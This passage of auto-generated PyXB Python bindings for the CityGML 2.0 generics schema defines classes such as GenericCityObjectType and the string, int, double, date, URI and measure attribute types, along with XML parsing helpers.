location_base=None): """Parse the given XML and use the document element to create a Python instance. @param xml_text An XML document. This should be data (Python 2 str or Python 3 bytes), or a text (Python 2 unicode or Python 3 str) in the L{pyxb._InputEncoding} encoding. @keyword default_namespace The L{pyxb.Namespace} instance to use as the default namespace where there is no default namespace in scope. If unspecified or C{None}, the namespace of the module containing this function will be used. @keyword location_base: An object to be recorded as the base of all L{pyxb.utils.utility.Location} instances associated with events and objects handled by the parser. You might pass the URI from which the document was obtained. """ if pyxb.XMLStyle_saxer != pyxb._XMLStyle: dom = pyxb.utils.domutils.StringToDOM(xml_text) return CreateFromDOM(dom.documentElement, default_namespace=default_namespace) if default_namespace is None: default_namespace = Namespace.fallbackNamespace() saxer = pyxb.binding.saxer.make_parser(fallback_namespace=default_namespace, location_base=location_base) handler = saxer.getContentHandler() xmld = xml_text if isinstance(xmld, _six.text_type): xmld = xmld.encode(pyxb._InputEncoding) saxer.parse(io.BytesIO(xmld)) instance = handler.rootObject() return instance def CreateFromDOM (node, default_namespace=None): """Create a Python instance from the given DOM node. The node tag must correspond to an element declaration in this module. @deprecated: Forcing use of DOM interface is unnecessary; use L{CreateFromDocument}.""" if default_namespace is None: default_namespace = Namespace.fallbackNamespace() return pyxb.binding.basis.element.AnyCreateFromDOM(node, default_namespace) # Complex type {http://www.opengis.net/citygml/generics/2.0}GenericCityObjectType with content type ELEMENT_ONLY class GenericCityObjectType (teaser.data.bindings.opengis.citygml.raw.base.AbstractCityObjectType): """Generic (user defined) city objects may be used to model features which are not covered explicitly by the CityGML schema. Generic objects must be used with care; they shall only be used if there is no appropiate thematic class available in the overall CityGML schema. Oherwise, problems concerning semantic interoperability may arise. As subclass of _CityObject, a generic city object inherits all attributes and relations, in particular an id, names, external references, and generalization relations. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'GenericCityObjectType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 24, 1) _ElementMap = teaser.data.bindings.opengis.citygml.raw.base.AbstractCityObjectType._ElementMap.copy() _AttributeMap = teaser.data.bindings.opengis.citygml.raw.base.AbstractCityObjectType._AttributeMap.copy() # Base type is teaser.data.bindings.opengis.citygml.raw.base.AbstractCityObjectType # Element creationDate ({http://www.opengis.net/citygml/2.0}creationDate) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element terminationDate ({http://www.opengis.net/citygml/2.0}terminationDate) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element externalReference ({http://www.opengis.net/citygml/2.0}externalReference) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element generalizesTo ({http://www.opengis.net/citygml/2.0}generalizesTo) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element relativeToTerrain ({http://www.opengis.net/citygml/2.0}relativeToTerrain) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element relativeToWater ({http://www.opengis.net/citygml/2.0}relativeToWater) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element GenericApplicationPropertyOfCityObject ({http://www.opengis.net/citygml/2.0}_GenericApplicationPropertyOfCityObject) inherited from {http://www.opengis.net/citygml/2.0}AbstractCityObjectType # Element {http://www.opengis.net/citygml/generics/2.0}class uses Python identifier class_ __class = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'class'), 'class_', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0class', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 35, 5), ) class_ = property(__class.value, __class.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}function uses Python identifier function __function = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'function'), 'function', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0function', True, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 36, 5), ) function = property(__function.value, __function.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}usage uses Python identifier usage __usage = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'usage'), 'usage', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0usage', True, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 37, 5), ) usage = property(__usage.value, __usage.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod0Geometry uses Python identifier lod0Geometry __lod0Geometry = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod0Geometry'), 'lod0Geometry', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod0Geometry', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 38, 5), ) lod0Geometry = property(__lod0Geometry.value, __lod0Geometry.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod1Geometry uses Python identifier lod1Geometry __lod1Geometry = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod1Geometry'), 'lod1Geometry', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod1Geometry', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 39, 5), ) lod1Geometry = property(__lod1Geometry.value, __lod1Geometry.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod2Geometry uses Python identifier lod2Geometry __lod2Geometry = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod2Geometry'), 'lod2Geometry', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod2Geometry', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 40, 5), ) lod2Geometry = property(__lod2Geometry.value, __lod2Geometry.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod3Geometry uses Python identifier lod3Geometry __lod3Geometry = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod3Geometry'), 'lod3Geometry', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod3Geometry', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 41, 5), ) lod3Geometry = property(__lod3Geometry.value, __lod3Geometry.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod4Geometry uses Python identifier lod4Geometry __lod4Geometry = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod4Geometry'), 'lod4Geometry', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod4Geometry', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 42, 5), ) lod4Geometry = property(__lod4Geometry.value, __lod4Geometry.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod0TerrainIntersection uses Python identifier lod0TerrainIntersection __lod0TerrainIntersection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod0TerrainIntersection'), 'lod0TerrainIntersection', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod0TerrainIntersection', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 43, 5), ) lod0TerrainIntersection = property(__lod0TerrainIntersection.value, __lod0TerrainIntersection.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod1TerrainIntersection uses Python identifier lod1TerrainIntersection __lod1TerrainIntersection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod1TerrainIntersection'), 'lod1TerrainIntersection', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod1TerrainIntersection', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 44, 5), ) lod1TerrainIntersection = property(__lod1TerrainIntersection.value, __lod1TerrainIntersection.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod2TerrainIntersection uses Python identifier lod2TerrainIntersection __lod2TerrainIntersection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod2TerrainIntersection'), 'lod2TerrainIntersection', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod2TerrainIntersection', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 45, 5), ) lod2TerrainIntersection = property(__lod2TerrainIntersection.value, __lod2TerrainIntersection.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod3TerrainIntersection uses Python identifier lod3TerrainIntersection __lod3TerrainIntersection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod3TerrainIntersection'), 'lod3TerrainIntersection', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod3TerrainIntersection', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 46, 5), ) lod3TerrainIntersection = property(__lod3TerrainIntersection.value, __lod3TerrainIntersection.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod4TerrainIntersection uses Python identifier lod4TerrainIntersection __lod4TerrainIntersection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod4TerrainIntersection'), 'lod4TerrainIntersection', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod4TerrainIntersection', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 47, 5), ) lod4TerrainIntersection = property(__lod4TerrainIntersection.value, __lod4TerrainIntersection.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod0ImplicitRepresentation uses Python identifier lod0ImplicitRepresentation __lod0ImplicitRepresentation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod0ImplicitRepresentation'), 'lod0ImplicitRepresentation', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod0ImplicitRepresentation', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 48, 5), ) lod0ImplicitRepresentation = property(__lod0ImplicitRepresentation.value, __lod0ImplicitRepresentation.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod1ImplicitRepresentation uses Python identifier lod1ImplicitRepresentation __lod1ImplicitRepresentation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod1ImplicitRepresentation'), 'lod1ImplicitRepresentation', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod1ImplicitRepresentation', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 49, 5), ) lod1ImplicitRepresentation = property(__lod1ImplicitRepresentation.value, __lod1ImplicitRepresentation.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod2ImplicitRepresentation uses Python identifier lod2ImplicitRepresentation __lod2ImplicitRepresentation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod2ImplicitRepresentation'), 'lod2ImplicitRepresentation', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod2ImplicitRepresentation', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 50, 5), ) lod2ImplicitRepresentation = property(__lod2ImplicitRepresentation.value, __lod2ImplicitRepresentation.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod3ImplicitRepresentation uses Python identifier lod3ImplicitRepresentation __lod3ImplicitRepresentation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod3ImplicitRepresentation'), 'lod3ImplicitRepresentation', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod3ImplicitRepresentation', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 51, 5), ) lod3ImplicitRepresentation = property(__lod3ImplicitRepresentation.value, __lod3ImplicitRepresentation.set, None, None) # Element {http://www.opengis.net/citygml/generics/2.0}lod4ImplicitRepresentation uses Python identifier lod4ImplicitRepresentation __lod4ImplicitRepresentation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'lod4ImplicitRepresentation'), 'lod4ImplicitRepresentation', '__httpwww_opengis_netcitygmlgenerics2_0_GenericCityObjectType_httpwww_opengis_netcitygmlgenerics2_0lod4ImplicitRepresentation', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 52, 5), ) lod4ImplicitRepresentation = property(__lod4ImplicitRepresentation.value, __lod4ImplicitRepresentation.set, None, None) # Element boundedBy ({http://www.opengis.net/gml}boundedBy) inherited from {http://www.opengis.net/gml}AbstractFeatureType # Element location ({http://www.opengis.net/gml}location) inherited from {http://www.opengis.net/gml}AbstractFeatureType # Element metaDataProperty ({http://www.opengis.net/gml}metaDataProperty) inherited from {http://www.opengis.net/gml}AbstractGMLType # Element name ({http://www.opengis.net/gml}name) inherited from {http://www.opengis.net/gml}AbstractGMLType # Element description ({http://www.opengis.net/gml}description) inherited from {http://www.opengis.net/gml}AbstractGMLType # Attribute id inherited from {http://www.opengis.net/gml}AbstractGMLType _ElementMap.update({ __class.name() : __class, __function.name() : __function, __usage.name() : __usage, __lod0Geometry.name() : __lod0Geometry, __lod1Geometry.name() : __lod1Geometry, __lod2Geometry.name() : __lod2Geometry, __lod3Geometry.name() : __lod3Geometry, __lod4Geometry.name() : __lod4Geometry, __lod0TerrainIntersection.name() : __lod0TerrainIntersection, __lod1TerrainIntersection.name() : __lod1TerrainIntersection, __lod2TerrainIntersection.name() : __lod2TerrainIntersection, __lod3TerrainIntersection.name() : __lod3TerrainIntersection, __lod4TerrainIntersection.name() : __lod4TerrainIntersection, __lod0ImplicitRepresentation.name() : __lod0ImplicitRepresentation, __lod1ImplicitRepresentation.name() : __lod1ImplicitRepresentation, __lod2ImplicitRepresentation.name() : __lod2ImplicitRepresentation, __lod3ImplicitRepresentation.name() : __lod3ImplicitRepresentation, __lod4ImplicitRepresentation.name() : __lod4ImplicitRepresentation }) _AttributeMap.update({ }) _module_typeBindings.GenericCityObjectType = GenericCityObjectType Namespace.addCategoryObject('typeBinding', 'GenericCityObjectType', GenericCityObjectType) # Complex type {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType with content type EMPTY class AbstractGenericAttributeType (pyxb.binding.basis.complexTypeDefinition): """ Generic (user defined) attributes may be used to represent attributes which are not covered explicitly by the CityGML schema. Generic attributes must be used with care; they shall only be used if there is no appropiate attribute available in the overall CityGML schema. Oherwise, problems concerning semantic interoperability may arise. A generic attribute has a name and a value, which has further subclasses (IntAttrribute, StringAttribute, ...). """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY _Abstract = True _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'AbstractGenericAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 62, 1) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Attribute name uses Python identifier name __name = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'name'), 'name', '__httpwww_opengis_netcitygmlgenerics2_0_AbstractGenericAttributeType_name', pyxb.binding.datatypes.string, required=True) __name._DeclarationLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 70, 2) __name._UseLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 70, 2) name = property(__name.value, __name.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __name.name() : __name }) _module_typeBindings.AbstractGenericAttributeType = AbstractGenericAttributeType Namespace.addCategoryObject('typeBinding', 'AbstractGenericAttributeType', AbstractGenericAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}StringAttributeType with content type ELEMENT_ONLY class StringAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'StringAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 76, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_StringAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 83, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.StringAttributeType = StringAttributeType Namespace.addCategoryObject('typeBinding', 'StringAttributeType', StringAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}IntAttributeType with content type ELEMENT_ONLY class IntAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'IntAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 91, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_IntAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 98, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.IntAttributeType = IntAttributeType Namespace.addCategoryObject('typeBinding', 'IntAttributeType', IntAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}DoubleAttributeType with content type ELEMENT_ONLY class DoubleAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'DoubleAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 106, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_DoubleAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 113, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.DoubleAttributeType = DoubleAttributeType Namespace.addCategoryObject('typeBinding', 'DoubleAttributeType', DoubleAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}DateAttributeType with content type ELEMENT_ONLY class DateAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'DateAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 121, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_DateAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 128, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.DateAttributeType = DateAttributeType Namespace.addCategoryObject('typeBinding', 'DateAttributeType', DateAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}UriAttributeType with content type ELEMENT_ONLY class UriAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'UriAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 136, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_UriAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 143, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.UriAttributeType = UriAttributeType Namespace.addCategoryObject('typeBinding', 'UriAttributeType', UriAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}MeasureAttributeType with content type ELEMENT_ONLY class MeasureAttributeType (AbstractGenericAttributeType): """""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'MeasureAttributeType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 151, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_opengis_netcitygmlgenerics2_0_MeasureAttributeType_httpwww_opengis_netcitygmlgenerics2_0value', False, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 158, 5), ) value_ = property(__value.value, __value.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType _ElementMap.update({ __value.name() : __value }) _AttributeMap.update({ }) _module_typeBindings.MeasureAttributeType = MeasureAttributeType Namespace.addCategoryObject('typeBinding', 'MeasureAttributeType', MeasureAttributeType) # Complex type {http://www.opengis.net/citygml/generics/2.0}GenericAttributeSetType with content type ELEMENT_ONLY class GenericAttributeSetType (AbstractGenericAttributeType): """Set of generic attributes with an optional codeSpace. If the codeSpace attribute is present, then its value should identify an authority for the set, such as the organisation or community who defined its content. The generic attribute set may contain arbitrary generic attributes.""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'GenericAttributeSetType') _XSDLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 166, 1) _ElementMap = AbstractGenericAttributeType._ElementMap.copy() _AttributeMap = AbstractGenericAttributeType._AttributeMap.copy() # Base type is AbstractGenericAttributeType # Element {http://www.opengis.net/citygml/generics/2.0}_genericAttribute uses Python identifier genericAttribute __genericAttribute = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, '_genericAttribute'), 'genericAttribute', '__httpwww_opengis_netcitygmlgenerics2_0_GenericAttributeSetType_httpwww_opengis_netcitygmlgenerics2_0_genericAttribute', True, pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 73, 1), ) genericAttribute = property(__genericAttribute.value, __genericAttribute.set, None, None) # Attribute name inherited from {http://www.opengis.net/citygml/generics/2.0}AbstractGenericAttributeType # Attribute codeSpace uses Python identifier codeSpace __codeSpace = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'codeSpace'), 'codeSpace', '__httpwww_opengis_netcitygmlgenerics2_0_GenericAttributeSetType_codeSpace', pyxb.binding.datatypes.anyURI) __codeSpace._DeclarationLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 177, 4) __codeSpace._UseLocation = pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 177, 4) codeSpace = property(__codeSpace.value, __codeSpace.set, None, None) _ElementMap.update({ __genericAttribute.name() : __genericAttribute }) _AttributeMap.update({ __codeSpace.name() : __codeSpace }) _module_typeBindings.GenericAttributeSetType = GenericAttributeSetType Namespace.addCategoryObject('typeBinding', 'GenericAttributeSetType', GenericAttributeSetType) GenericCityObject = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'GenericCityObject'), GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 58, 1)) Namespace.addCategoryObject('elementBinding', GenericCityObject.name().localName(), GenericCityObject) genericAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_genericAttribute'), AbstractGenericAttributeType, abstract=pyxb.binding.datatypes.boolean(1), location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 73, 1)) Namespace.addCategoryObject('elementBinding', genericAttribute.name().localName(), genericAttribute) stringAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'stringAttribute'), StringAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 89, 1)) Namespace.addCategoryObject('elementBinding', stringAttribute.name().localName(), stringAttribute) intAttribute = 